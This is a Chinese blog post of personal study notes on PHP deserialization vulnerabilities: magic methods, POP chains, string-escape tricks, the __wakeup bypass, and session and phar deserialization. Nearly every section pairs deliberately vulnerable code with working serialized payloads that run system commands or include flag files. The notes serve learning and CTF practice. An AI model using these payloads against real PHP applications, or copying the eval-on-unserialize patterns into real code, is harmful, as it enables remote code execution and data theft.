反序列化

反序列化

反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)存在用户可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性

例子:

<?php
class test{
    public $a='echo "this is test";';//用户传入参
    public function dispalyVar(){
        eval($this->a);//系统执行
    }
}
$get=$_GET["code"];//get方法读入
$b=unserialize($get);
$b->displayVar();
    ?>

payload

"O:4:"test":1:{s:1:"a";s:13:"system("id");";}"

O-Object
4-类名字长度
test-类
1-成员属性数量
{}-成员属性
s-字符串
a-变量
system("id");-变量的值

魔术方法

1 __construct(),类的构建函数
2 __destruct(),类的析构函数
3 __call(),在对象中调用一个不可以访问方法时调用
4 __callStatic(),用静态方式中调用一个不可以访问方法时调用
5 __get(),获得一个类的成员变量时调用
6 __isset(),当对不可访问属性调用isset()或empty()时调用
7 __set(),设置一个类的成员变量时调用
8 __unset(),当对不可访问属性调用unset0)时被调用
9 __sleep(),执行serialize()时,先会调用这个函数
10 __wakeup(),执行unserialize()时,先会调用这个函数
11 __toString(),类被当成字符串时的回应方法
12 __invoke(),调用函数的方式调用一个对象时的回应方法
13 __set_state(),调用var_export()导出类时,此静态方法被调用
14 __clone(),当对象复制完成时调用
15 __autoload(),尝试加载未定义的类
16 __debugInfo(),打印所需调试信息

__construct()

构造函数,实例化一个对象的时候,首先会去自动执行的一个方法;

<?php
    class user{
    public $username;
    public function __construct($username){
        $this->username=$username;
        echo "触发了构造函数一次";
    }
}
$test=new user("test");
$ser=serialize($test);
unserialize($ser);
    ?>

__destruct()

析构函数,在对象的所有引用被删除或者当对象被显示销毁时执行的魔术方法

<?php

class  user{
    public function __destruct()
    {
        echo "once";
    }
}
$test=new user("test");//会触发一次(实例化对象结束后,代码运行完会销毁,触发析构函数)
$ser=serialize($test);//不会触发(在序列化过程中不会触发)
unserialize($ser);//还会触发一次(反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数)
?>

题目

<?php
class user{
    var $cmd="echo 'thisIsTest'";
    public function __destruct()
    {
        eval($this->cmd);
    }
}
$ser=$_GET["test"];
unserialize($ser);

payload

O:4:"user":1:{s:3:"cmd";s:12:"system("ls")";}

__sleep

序列化serialize() 函数会检查类中是否存在一个魔术方法__sleep()。
如果存在,该方法会先被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE级别的错误。

触发时机:序列化serialize() 之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数:成员属性
返回值: 需要被序列化存储的成员属性

例子

<?php
class user{
    public  $username;
    public $nickname;
    public $password;

    public function __construct($username,$nickname,$password)//new时触发
    {

        $this->username=$username;
        $this->nickname=$nickname;
        $this->password=$password;
    }
    public function __sleep()//序列化时触发
    {
        return array('username','nickname');
    }
}

$user=new user('$cmd','b','c');
var_dump($user);
echo serialize($user);
?>

输出

object(user)#1 (3) {
  ["username"]=>
  string(4) "$cmd"
  ["nickname"]=>
  string(1) "b"
  ["password"]=>//__sleep()还没被触发
  string(1) "c"
}
O:4:"user":2:{s:8:"username";s:4:"$cmd";s:8:"nickname";s:1:"b";}

__wakeup()

unserialize() 会检查是否存在一个__ wakeup()方法。
如果存在,则会先调用wakeup() 方法,预先准备对象需要的资源。
预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

//人话:和sleep反着来的功能

触发时机: 反序列化unserialize() 之前

__wakeup() 在反序列化unserialize() 之前
__destruct()在反序列化unserialize() 之后

<?php
class user{
    public  $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup()
    {
        $this->password=$this->username;
    }
}

$user_ser='O:4:"user":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>

输出

object(user)#1 (4) { 
  ["username"]=>
  string(1) "a"
  ["nickname"]=>
  string(1) "b"
  ["password":"user":private]=>//反序列化后自动调用__wakeup()
  string(1) "a"
  ["order":"user":private]=>
  NULL
}

__tostring

表达方式错误导致魔术方法触发

触发时间:把对象被当成字符串调用

<?php
class user{
    var $a="this is test";
    public function __toString()
    {
       return '格式不对,输出不了!';
    }
}
$test=new user();
print_r($test);
echo "\n";
echo $test;//对象当作字符串输出(触发)时,tostring函数自动被调用
?>

输出

user Object
(
    [a] => this is test
)

格式不对,输出不了!

__invoke()

格式表达错误导致魔方方法触发

触发时机:把对象当成函数调用

<?php
function isFunction(){
    echo "this is a function!";
}
class user{
    var $a="this is a test";
    public function __invoke()
    {
        echo "is not a function!";
    }
}
isFunction();
echo "\n";
$test=new user();
$test();//把一个对象当成函数使用时
?>

输出

this is a function!
is not a function!

__call()

触发时机:调用一个不存在的方法

参数:两个参数传参

返回值:调用的不存在的方法的名称和参数

<?php
class user{
    public function __call($name, $arguments)
    {
       echo "$name,$arguments";
    }
}
$test=new user();
$test->calldf('a');//调用了一个不存在的方法

输出

calldf,Array//返回值$name--调用的不存在的方法的名称,$argumens调用的不存在的方法的参数

__callStatic()

触发时机:静态调用或调用成员常量时使用的方法不存在

<?php
class user{
    public function __callStatic($name, $arguments)
    {
       echo "$name,$arguments[0]";
    }
}

$test=new user();
$test::calldf("a");//静态调用::时的方法calldf不存在,触发callStatic()

输出

calldf,a

__get()

触发时机:调用的成员属性不存在

参数:传参$name

返回值:不存在的成员属性的名称

<?php
class user{
    public $var1;
    public function __get($name)
    {
      echo $name;  // TODO: Implement __get() method.
    }
}
$test=new user();
$test->var2;//var2不存在于该方法

输出

var2

__set()

触发时机:给不存在的成员属性赋值

参数:传参$name,$value

返回值:不存在的成员属性的名称和赋的值

<?php
class user{
    public $var1;
public function __set($name, $value)
{
    echo $name.','.$value;
}
}
$test=new user();
$test->var2=1;//给不存在的成员属性赋值

输出

var2,1

__isset()

函数使用场景:
isset() 函数用于检测变量是否已设置并且非 NULL。

*如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。

*若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。

触发时机: 对不可访问属性使用 isset() 或empty() 时,isset() 会被调用。

参数: 传参$name

返回值: 不存在的成员属性的名称

<?php
class user{
    private $var;
public function __isset($name)
{
   echo $name;
}
}
$test=new user();
isset($test->var);//这里的var不可读所以返回值是var.如果是var1那么成员属性不存在,返回值是var1
//人话:isset()调用的成员属性不可访问或不存在,则返回调用的属性名称

输出

var

__unset()

函数使用场景:
用于销毁给定的变量

触发时机:对不可访问属性使用 unset() 时

参数:传参Sarg1

返回值:不存在的成员属性的名称

<?php
class user{
    private $var;
public function __unset($name)
{
    echo $name;
}
}
$test=new user();
unset($test->var);

输出

var

__clone()

触发时机: 当使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()

<?php
class user{
    private $var;
public function __clone()
{
    echo "__clone here";
}
}
$test=new user();
$newUser=clone($test);//克隆对象完成后,会出触发魔术方法__clone

输出

__clone here

魔术方法触发总结

触发时机
__construct() 实例化对象
__destruct() 对象引用完成或对象被销毁;反序列化之后
__sleep 序列化serialize()之前
__wakeup() 反序列化unserialize()之前
__tostring 把对象被当成字符串调用(或者echo或print)
__invoke() 把对象当成函数调用
__call() 调用一个不存在的方法
__callStatic() 静态调用不存在的方法
__get() 调用的成员属性不存在
__set() 给不存在的成员属性赋值
__isset() 对不可访问属性使用isset()或empty()
__unset() 对不可访问属性使用unset()
__clone() 当使用clone关键字拷贝完成一个对象

POP链、POC编写

pop链:利用魔术方法在程序内部多次跳转,从而达到获取敏感信息的一种payload

poc编写:编写一段不完整的程序,获取所需要的序列化字符串

例题一

<?php
class index{
    private $test;
    public function __construct()
    {
        $this->test=new normal();
    }
    public function __destruct()
    {
        $this->test->action;
    }
}
class normal{
    public function action(){
    echo "please attack me";
    }
}
class evil{
    var $test2;
    public function action(){
    eval($this->test2);
    }
}
unserialize($_GET['test']);

解题:

  • 首先代码审计,看到有可以利用的函数evaleval()调用$test2,它们都是evil这个类里面的。
  • 然后可以看到结尾是用到unserialize,他是不会触发__construct函数的,但是会触发__destruct函数。
  • __destruct里,是调用$testaction().那么就代表着$test要等于类evil,即$test=new evil()

构造payload:

<?php
class index{
    private $test;
    public function __construct()
    {
        $this->test=new evil();
    }
//    public function __destruct()
//    {
//        $this->test->action;
//    }
}
//class normal{
//    public function action(){
//    echo "please attack me";
//    }
//}
class evil{
    var $test2="system('ls');";
//    public function action(){
//    eval($this->test2);
//    }
}
$a=new index();
echo serialize($a)."\n";
echo urlencode(serialize($a));

输出

O:5:"index":1:{s:11:" index test";O:4:"evil":1:{s:5:"test2";s:13:"system('ls');";}}
//indetest之间因为private属性,要加上%00
//即
//O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system('ls');";}}
O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D

例题二

//目标:显示‘tostring is here’
<?php
class fast{
    public $source;
    public function __wakeup()
    {
      echo "wakeup is here";
      echo $this->source;

    }
}
class  sec{
    var $test;
    public function __toString()
    {
        echo "tostring is here";
    }
}
unserialize($test);

构建倒推过程:

  • 首先__tostring()被触发
  • 类sec被实例化成对象后被当作字符串输出
  • 而在 echo $this->source;中存在输出方法
  • $source=object sec
//此处的代码是构建payload方法,注释都是触发魔术方法的过程
<?php
class fast{
    public $source;
    public function __wakeup()//2.反序列化触发wakeup
    {
        echo "wakeup is here";
        echo $this->source;//3.source是一个实例化的对象sec

    }
}
class  sec{
    var $test;
    public function __toString()//4.实例化对象被当作字符串输出触发了tostring
    {
        echo "tostring is here";//5.成功输出"tostring is here"
    }
}
$a=new fast();
$b=new sec();
$a->source=$b;
echo serialize($a);//1.输出的结果首先经过反序列化

payload

O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:4:"test";N;}}

例题三

//注释顺序为倒推过程
<?php
class modifier{
    private $var;
    public function append($value){
        include($value);
        echo $flag;//1.目标是要拿到flag,使$value=flag.php
    }
    public function __invoke()//2.触发invok(把对象当函数使用时触发),调用append
    {
        $this->append($this->var);
    }
}
class show{
    public $source;
    public $str;
    public function __toString()//7.触发tostring(把对象当作字符串输出)
    {
       return $this->str->source;//6.这里比较明显可以给5铺路。给$str赋值为对象test,而test中不存在成员属性source,就可以触发test里的get方法
    }
    public function __wakeup()//9.触发wakeup(反序列化时触发)
    {
        echo $this->source;//8.当source赋值对象show(类本身),则会触发对象show中的tostring
    }
}
class test{
    public $p;
    public function __construct()
    {
        $this->p=array();
    }
    public function __get($key)//5.触发get(调用不存在的成员属性)
    {
        $function=$this->p;//4.p赋值需要是个对象,即function等于对象modifier
        return $function();//3.当function是对象时可以作为触发invok的条件
    }
}
if(isset($_GET['p op'])){
    unserialize($_GET['pop']);
}

注意的点:

实例化对象时__construct()会被触发,使p的值指向了一个数组。编写POC时要删掉。

编写poc

<?php
class modifier{
    private $var='flag.php';
    public function append($value){
        include($value);
        echo' $flag';
    }
    public function __invoke()
    {
        $this->append($this->var);
    }
}
class show{
    public $source;
    public $str;
    public function __toString()
    {
        return $this->str->source;
    }
    public function __wakeup()
    {
        echo $this->source;
    }
}
class test{
    public $p;
    public function __get($key)
    {
        $function=$this->p;
        return $function();
    }
}
//按照之前代码审计的顺序编写
$mod=new modifier();
$show=new show();
$test=new test();
$test->p=$mod;
$show->str=$test;
$show->source=$show;
echo serialize($show);

payload

O:4:"show":2:{s:6:"source";r:1;s:3:"str";O:4:"test":1:{s:1:"p";O:8:"modifier":1:{s:13:"%00modifier%00var";s:8:"flag.php";}}}

字符逃逸

前记

1)反序列化一般来说是以;}结束,但是要注意它是否在字符串当中

比如:

O:4:"test":1:{s:1:"a";s:13:"system("id");";}当中;}是用来结尾的

但是:

O:4:"test":1:{s:1:"a";s:14:"system("id");}";}当中前面的;}是在字符串当中的,重点是要看序列化字符串数字是多少

2)"是字符还是格式符号,是由字符串长度来判断的

比如:

O:4:"test":1:{s:1:"a";s:13:"system("id");";}这里包裹着id"是字符,不是格式符号,要靠13来判断

逃逸

数据先经过了一次serialize再经过unserialize,这个过程的中间,反序列化的字符串可能变多了,或者变少了(被过滤掉->变少、被替换掉->变多/少)。这时候可以通过构造特定语句来执行敏感命令

一些特点

<?php
class test{
    var $v1="a";
    var $v2="test2";
}
echo serialize(new test())."\n";
$a='O:4:"test":2:{s:2:"v1";s:5:"test1";s:2:"v3";s:5:"test3";}';
var_dump(unserialize($a));

输出

O:4:"test":2:{s:2:"v1";s:1:"a";s:2:"v2";s:5:"test2";}
object(test)#1 (3) {
  ["v1"]=>
  string(5) "test1"
  ["v2"]=>
  string(5) "test2"
  ["v3"]=>
  string(5) "test3"
}

可以注意到var_dump出来的反序列化值里:

  1. 首先是反序列化的成员变量的值,是序列化字符串$a里面的值优先。
  2. 若序列化字符串没有提及原来类中的变量,那么反序列化中会引用原来类中的成员变量(如v2)
  3. 如果序列化字符串包含了原来类中没有的变量,那么反序列化中会加入该变量(如v3)

字符减少

原式:

<?php
class test{
    public $v1='abc';
    public $v2='123';
    public function __construct($arga,$argc)
    {
        $this->v1=$arga;
        $this->v2=$argc;
    }

}
$a='abcsystem()system()system()';//我们想要构造的
$b='123';
$data=serialize(new test($a,$b));
echo $data."\n";
$data=str_replace("system()","",$data);//但是被过滤了
var_dump(unserialize($data));

/*
输出结果:
O:4:"test":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:3:"123";}
bool(false)//因为这里的system()全部被过滤了,27将会把后面的一并吃掉来补全27个字符,导致反序列化不成功
*/

字符减少的利用

<?php
class test{
    public $v1='abc';
    public $v2='123';
    public function __construct($arga,$argc)
    {
        $this->v1=$arga;
        $this->v2=$argc;
    }

}
$a='abcsystem()system()system()';
$b='123';
$data= 'O:4:"test":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:3:"123";666";s:2:"v3";s:13:"system("ls");";}'
//通过数数可以知道若system()全被过滤,那么加上abc,还要吃掉24个字符。这里发现把v2的东西全吃掉的情况下,还差3个字符,那么就补一点没用的东西来占位置,凑过27个字符。然后我们可以构建第三个变量传值来做到一些敏感命令,又或者程序是需要通过v2来实现执行命令类函数时,我们可以用一样的想法对v1做手脚,影响v2.
$data=str_replace("system()","",$data);
var_dump(unserialize($data));

输出结果

object(test)#1 (3) {
  ["v1"]=>
  string(27) "abc";s:2:"v2";s:3:"123";666"
  ["v2"]=>
  string(3) "123"
  ["v3"]=>
  string(13) "system("ls");" 
}

字符增加

<?php
class test{
    public $v1='abc';
    public $v2='123';
    public function __construct($arga,$argc)
    {
        $this->v1=$arga;
        $this->v2=$argc;
    }

}
$a='hackBy_ls';
$b='123';
$data=serialize(new test($a,$b));
echo $data."\n";
$data=str_replace("ls","nohacker",$data);
var_dump(unserialize($data));

/*输出结果:
O:4:"test":2:{s:2:"v1";s:9:"hackBy_ls";s:2:"v2";s:3:"123";}
O:4:"test":2:{s:2:"v1";s:9:"hackBy_nohacker";s:2:"v2";s:3:"123";}
bool(false)//字符长度增加导致的反序列化失败

*/
字符增加的利用
<?php
class test{
    public $v1='abc';
    public $v2='123';
    public function __construct($arga,$argc)
    {
        $this->v1=$arga;
        $this->v2=$argc;
    }

}

$data= 'O:4:"test":2:{s:2:"v1";s:48:"lslslslslsls";s:2:"v2";s:16:"system("whoami")";}";s:2:"v3";s:3:"123";}';
//我们可以得知字符替换后长度会增加6,那么我们可以做一些敏感命令藏在语句当中。比如";s:2:"v2";s:16:"system("whoami")";}这一段(技巧:藏匿命令长度为增加长度的倍数,比如这里是6的6倍)
$data=str_replace("ls","nohacker",$data);//2->8 eat 6
var_dump(unserialize($data));

输出结果

object(test)#1 (2) {
  ["v1"]=>
  string(48) "nohackernohackernohackernohackernohackernohacker"
  ["v2"]=>
  string(16) "system("whoami")"
}
例题
<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
    }
}
$param=$_GET['test'];//传值?test='123'
$param=serialize(new test($param));//new会触发construct使user为空值
echo $param."\n";
$profile=unserialize(filter($param));
var_dump( $profile);


if($profile->pass=='escaping'){
    echo "win";//目标要求输出win
}
/*输出结果
O:4:"test":2:{s:4:"user";N;s:4:"pass";s:8:"daydream";}
object(test)#1 (2) {
  ["user"]=>
  NULL
  ["pass"]=>
  string(8) "daydream"
}
*/

解题

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
    }
}
$param='O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
//";s:4:"pass";s:8:"escaping";}占29个字符那么就通过29个php来挤掉它
//$param=serialize(new test($param));
//要注释掉new,来让user可控来影响后面
//echo $param."\n";
$profile=unserialize(filter($param));
var_dump( $profile);


if($profile->pass=='escaping'){
    echo "win";
}

输出结果

object(test)#1 (2) {
  ["user"]=>
  string(116) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack"
  ["pass"]=>
  string(8) "escaping"
}
win

wakeup绕过

PHP5<5.6.25

PHP7<7.0.10

漏洞产生原因:

如果存在__wakeup方法,调用unserilize()方法前则先调用wakeup方法,但是序列化字符串中表示对象属性个数的值大于真是的属性个数时,会跳过wakeup的执行

"O:4:"test":1:{s:1:"a";s:13:"system("id");";}"
"O:4:"test":2:{s:1:"a";s:13:"system("id");";}"
<?php
class secret{
    var $file='index.php';
    public function __construct()
    {
        $this->file=$file;
    }
    function __destruct()
    {
       include_once ($this->file);
       echo $flag;
    }
    function __wakeup()//反序列化是一定会进行的,但是wakeup需要被绕过
    {
        $this->file='index.php';
    }
}
$cmd=$_GET['cmd'];
if(!isset($cmd)){
    highlight_file(__FILE__);
}
else{
    if(preg_match('/[oc]:\d+:/i',$cmd)){//o或c:加数字,大小写不限(通过+号可以绕过)
        echo 'hacker!';
    }
    else{
        unserialize($cmd);
    }
//sercet in flag.php
}

构造poc

<?php
class secret{
    var $file='flag.php';
}
echo serialize(new secret());

/*输出结果
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
*/
//最终payload
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
//最后 最好用url编码后提交

引用绕过

<?php
class user{
    var $enter;
    var $secret;
}
if(isset($_GET['pass'])){//传值给pass
    $pass=$_GET['pass'];
    $pass=str_replace('*','\*',$pass);//转译掉带*的字符
}
$o=unserialize($pass);
if($o){
    $o->secret="*";
    if($o->secret===$o->enter)
        echo "flag is here".$flag;
    else
        echo "no way";
}
else
    echo"is null";

构造poc

<?php
class user{
    var $enter;
    var $secret;
}
$a=new user();
$a->enter=&$a->secret;
echo serialize($a);
/*输出结果
O:4:"user":2:{s:5:"enter";N;s:6:"secret";R:2;}
*/

session反序列化

当session start()被调用或者php.ini中session.auto start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录 (默认为/tmp)

存取数据的格式有多种,常用的有三种
漏洞产生:写入格式和读取格式不一致

处理器 对应的存储格式
php 键名+竖线+经过serialize()函数序列化处理的值
php_serialize(php>=5.5.4) 经过serialize()函数序列化处理的数组
php_binary//基本不用 键名的长度对应的ASCII字符+键名+经过serialize()函数反序列处理的值

php格式

<?php
session_start();
$_SESSION['user']=$_GET['test'];
?test=abcd//url传入
user|s:4:"abcd";
//键名|序列化后的值

php_serialize

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['user']=$_GET['test'];
$_SESSION['b']=$_GET['b'];
?test=system&b=666//url传入
a:2{s:4:"test";s:6:"system";s:1:"b";s:3:"666";}
//就是serialize()序列化后的格式存储

php_binary

<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['user']=$_GET['test'];
$_SESSION['b']=$_GET['b'];
?test=system&b=666//url传入
EOTtests:6:"system";SOHbs:3:"666";//EOT->4 SOH->1
//键名的长度对应的ASCII字符+键名+经过serialize()函数反序列处理的值

phar反序列化漏洞

触发条件

  • 调用phar协议解析文件时,会自动触发对传入文件的manifest字段(特定段的字符)的序列化字符串进行反序列化
  • phar需要php>=5.2在php.ini中将phar.readonly设为off

能利用到的函数

fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

Phar使用条件

  • phar文件能上传
  • 要有可用反序列化魔术方法
  • 要有文件操作函数
  • 文件操作函数参数可控、且 / phar 等特殊字符没有被过滤

例子

例题一(具体不明白,但是套模板也不是不能做T_T)

<?php
class testObject{//反序列化testObject()触发__destruck执行echo $flag
    public function __destruct()
    {
        include ('flag.php');
        echo $flag;//目标:echo $flag
    }
}
$filename=$_POST['file'];
if(isset($filename)){
    echo md5_file($filename);
}
//upload,php
//↑提示有upload页面可以上传文件
  • phar文件能上传到服务器端 -> /upload.php页面
  • 要有可用反序列化魔术方法作为跳板-> __destruct()
  • 要有文件操作函数-> md5_file
  • 文件操作函数参数可控-> $_POST['file']

生成一个phar文件,在mate-data里放置一个包含testObject()的序列化字符

<?php
//phar文件生成
class testObject{//更改
}

@unlink('test.phar');//删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');//创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();//开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');//写入stub
$o=new testObject();//更改
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");//添加要压缩的文件
$phar->stopBuffering();
?>
    //要在php.ini调东西才会生成文件

payload

URL.......
POST:
	file=phar://upload/test.jpg

笔记来源自0x023 phar 反序列化例题讲解_哔哩哔哩_bilibili

posted @ 2023-11-02 19:33  eth258  阅读(33)  评论(0编辑  收藏  举报